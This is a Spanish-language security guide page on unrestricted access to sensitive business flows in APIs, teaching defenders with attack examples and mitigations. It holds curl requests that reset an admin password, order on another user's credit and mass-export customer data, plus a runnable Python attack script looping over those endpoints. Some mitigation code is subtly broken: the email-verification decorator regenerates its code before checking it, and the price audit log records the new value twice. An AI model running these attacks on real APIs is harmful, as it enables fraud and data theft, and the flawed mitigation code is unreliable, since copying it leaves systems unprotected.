Skip to content

Unrestricted Access to Sensitive Business Flows

CWE: CWE-639
Problema: Acceso a procesos críticos sin restricción o verificación


¿Qué es?

Permitir que usuarios no autorizados ejecuten operaciones críticas del negocio como:

  • Crear órdenes sin límite
  • Cambiar precios
  • Cancelar transacciones ajenas
  • Resetear contraseñas sin verificación
  • Exportar datos masivamente

Ejemplos

1. Reset de Contraseña Sin Verificación

bash
# Endpoint: POST /api/password-reset
curl -X POST "https://api.app.com/api/password-reset" \
  -d '{"email": "admin@app.com", "new_password": "hacker123"}'

# No verifica:
# - Si usuario autenticado
# - Si verifica código de reset
# - Si verifica email
# - Si es su propia cuenta

# Resultado: Admin password cambiada

2. Crear Órdenes de Otro Usuario

bash
# POST /api/orders
curl -X POST "https://api.app.com/api/orders" \
  -H "Authorization: Bearer attacker_token" \
  -d '{
    "user_id": 100,           # Otro usuario
    "items": [{"product": "expensive_item", "qty": 100}],
    "shipping": "attacker_address",
    "payment_method": "100_user_credit_card"
  }'

# Resultado: Orden creada usando crédito de otro usuario

3. Cancelación de Transacciones

bash
# POST /api/transactions/12345/cancel
curl -X POST "https://api.app.com/api/transactions/12345/cancel" \
  -H "Authorization: Bearer user_token" \
  -d '{
    "reason": "User requested"
  }'

# Si transacción es de otro usuario y no hay verificación:
# Transacción cancelada sin permiso

4. Exportar Datos Masivamente

bash
# GET /api/export?format=csv&table=customers&limit=999999
curl "https://api.app.com/api/export?table=customers" \
  -H "Authorization: Bearer user_token"

# Sin límites, exporta toda la DB de clientes

5. Cambiar Precios de Productos

bash
# PUT /api/products/SKU-123/price
curl -X PUT "https://api.app.com/api/products/SKU-123/price" \
  -H "Authorization: Bearer user_token" \
  -d '{"price": 0.01}'

# Producto caro ahora cuesta 1 centavo

Explotación

Script de Ataque

python
import requests
import json

def exploit_sensitive_flows(api_url, attacker_token):
    """
    Explotar procesos sensibles del negocio
    """
    
    session = requests.Session()
    session.headers.update({
        "Authorization": f"Bearer {attacker_token}",
        "Content-Type": "application/json"
    })
    
    exploits = [
        {
            "name": "Reset admin password",
            "method": "POST",
            "endpoint": "/api/password-reset",
            "payload": {
                "email": "admin@company.com",
                "new_password": "attacker123"
            }
        },
        {
            "name": "Create order for another user",
            "method": "POST",
            "endpoint": "/api/orders",
            "payload": {
                "user_id": 1,
                "items": [{"sku": "expensive", "qty": 1000}],
                "use_credit": True
            }
        },
        {
            "name": "Refund transaction",
            "method": "POST",
            "endpoint": "/api/transactions/999/refund",
            "payload": {
                "amount": 99999.99,
                "reason": "Fraud"
            }
        },
        {
            "name": "Export all customers",
            "method": "GET",
            "endpoint": "/api/export?table=customers&format=csv&limit=1000000",
            "payload": None
        }
    ]
    
    for exploit in exploits:
        try:
            if exploit["method"] == "GET":
                response = session.get(
                    f"{api_url}{exploit['endpoint']}",
                    timeout=10
                )
            else:
                response = session.request(
                    exploit["method"],
                    f"{api_url}{exploit['endpoint']}",
                    json=exploit["payload"],
                    timeout=10
                )
            
            if response.status_code in [200, 201, 204]:
                print(f"[✓] VULNERABLE: {exploit['name']}")
                print(f"    Status: {response.status_code}")
                if response.text:
                    print(f"    Response: {response.text[:200]}")
            else:
                print(f"[-] {exploit['name']}: {response.status_code}")
        
        except Exception as e:
            print(f"[!] {exploit['name']}: {str(e)}")

# Ejecutar
exploit_sensitive_flows(
    "https://api.app.com",
    "attacker_token"
)

Mitigación

1. Verificación Multi-Factor para Operaciones Sensibles

python
from functools import wraps

def require_mfa_verification(f):
    """
    Requiere MFA para operaciones sensibles
    """
    @wraps(f)
    def wrapper(*args, **kwargs):
        user = get_current_user()
        mfa_code = request.json.get('mfa_code')
        
        if not user.mfa_enabled:
            return {"error": "MFA required for this operation"}, 403
        
        if not verify_mfa_code(user, mfa_code):
            return {"error": "Invalid MFA code"}, 401
        
        # Log operación sensible
        audit_log(f"Sensitive operation by {user.id}: {request.path}")
        
        return f(*args, **kwargs)
    return wrapper

# Uso
@app.route('/api/password-reset', methods=['POST'])
@require_mfa_verification
def password_reset():
    user = get_current_user()
    new_password = request.json.get('new_password')
    user.password = hash_password(new_password)
    db.session.commit()
    return {"success": True}

2. Límites de Operación

python
def check_operation_limits(user_id, operation_type):
    """
    Verificar límites en operaciones
    """
    
    LIMITS = {
        'create_order': {'daily': 10, 'hourly': 3},
        'export_data': {'daily': 1, 'hourly': 0},
        'refund': {'daily': 5, 'hourly': 1}
    }
    
    limits = LIMITS.get(operation_type, {})
    
    # Contar en últimas 24h
    daily_count = get_operation_count(user_id, operation_type, hours=24)
    if daily_count >= limits.get('daily', 0):
        return False, f"Daily limit exceeded ({limits['daily']})"
    
    # Contar en última hora
    hourly_count = get_operation_count(user_id, operation_type, hours=1)
    if hourly_count >= limits.get('hourly', 0):
        return False, f"Hourly limit exceeded ({limits['hourly']})"
    
    return True, "OK"

@app.route('/api/orders', methods=['POST'])
def create_order():
    user = get_current_user()
    allowed, message = check_operation_limits(user.id, 'create_order')
    
    if not allowed:
        return {"error": message}, 429
    
    # Crear orden...

3. Verificación de Identidad para Cambios Críticos

python
def require_email_verification(f):
    """
    Requiere verificación por email para cambios críticos
    """
    @wraps(f)
    def wrapper(*args, **kwargs):
        user = get_current_user()
        verification_code = request.json.get('verification_code')
        
        # Enviar código por email
        code = generate_verification_code()
        send_email(user.email, f"Verification code: {code}")
        
        # Guardar temporal
        store_temp_code(user.id, code, expires_in=900)
        
        # Verificar en próxima solicitud
        if not verify_code(user.id, verification_code):
            return {"error": "Invalid verification code"}, 401
        
        return f(*args, **kwargs)
    return wrapper

4. Validación de Datos Críticos

python
@app.route('/api/products/<sku>/price', methods=['PUT'])
@require_role('admin')
def update_product_price(sku):
    """
    Cambiar precio con validaciones
    """
    
    product = Product.query.filter_by(sku=sku).first()
    new_price = request.json.get('price')
    
    # Validaciones
    if new_price <= 0:
        return {"error": "Price must be > 0"}, 400
    
    # No permitir cambios extremos
    price_change_percent = abs(new_price - product.price) / product.price * 100
    
    if price_change_percent > 50:  # Máx 50% de cambio
        return {
            "error": "Price change too extreme",
            "requires_approval": True,
            "change_percent": price_change_percent
        }, 400
    
    # Requiere aprobación si > 25%
    if price_change_percent > 25:
        request_approval(product.id, new_price)
        return {"message": "Change requires approval"}, 202
    
    # Cambio permitido
    product.price = new_price
    audit_log(f"Price changed: {product.sku} {product.price} -> {new_price}")
    db.session.commit()
    
    return {"success": True}

Checklist

  • [ ] MFA en operaciones sensibles (password reset, refund)
  • [ ] Límites diarios/horarios en operaciones
  • [ ] Verificación de email para cambios críticos
  • [ ] Logging y auditoría de todas las operaciones
  • [ ] Validación de datos (no permitir cambios extremos)
  • [ ] Aprobaciones para operaciones de alto valor
  • [ ] Rate limiting específico por operación
  • [ ] Alertas para operaciones sospechosas